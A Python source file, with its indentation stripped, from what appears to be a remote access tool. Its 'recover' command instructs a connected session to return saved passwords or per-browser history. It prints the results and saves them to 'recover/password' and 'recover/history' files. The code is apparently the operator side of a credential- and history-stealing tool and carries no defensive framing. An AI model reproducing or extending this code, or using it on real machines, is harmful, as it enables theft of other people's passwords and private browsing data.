1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
|
from domestic.parse.error_exception_handling import *
from domestic.utility.validate_dict_key import *
from domestic.session.session_message import *
from domestic.utility.status_message import *
from domestic.make.make_history import *
from domestic.global_state import *
@error_exception_handling
def recover(message):
password = validate_dict_key(message, 'password')
history = validate_dict_key(message, 'history')
quiet = validate_dict_key(message, 'quiet')
force = validate_dict_key(message, 'force')
if force is None:
message['force'] = False
if password:
del message['password']
message['action_type'] = 'password'
if quiet:
del message['quiet']
data = session_message(message, False)
if quiet is None:
text = [x for x in data['message'].split('\n') if x != '']
count = 0
for line in text:
if line[:3] == '[+]':
print()
status_message(line[4:], 'success', {'end': True, 'point': 'empty'})
elif line[:3] == '[-]':
print()
status_message(line[4:], 'danger', {'end': True, 'point': 'empty'})
elif line[:19] == '-------------------':
if count != 0: print()
count += 1
status_message(line, 'raw')
else:
status_message(line, 'raw')
print()
make_file(['recover', 'recover/password'], 'txt', bytes(data['message'], 'utf-8'), 'Passwords succesfully recovered')
elif history:
del message['history']
message['action_type'] = 'history'
if quiet:
del message['quiet']
data = session_message(message, False)
if quiet is None:
for browser, browser_data in data['message'].items():
browser = browser.capitalize()
for link, title, date in browser_data:
status_message(f'{browser}: {link}, {title}, {date}', 'pure', {'end': True})
print()
make_history(['recover', 'recover/history'], 'csv', data['message'], 'Browser history succesfully recovered')
else:
raise Exception('Error message')
|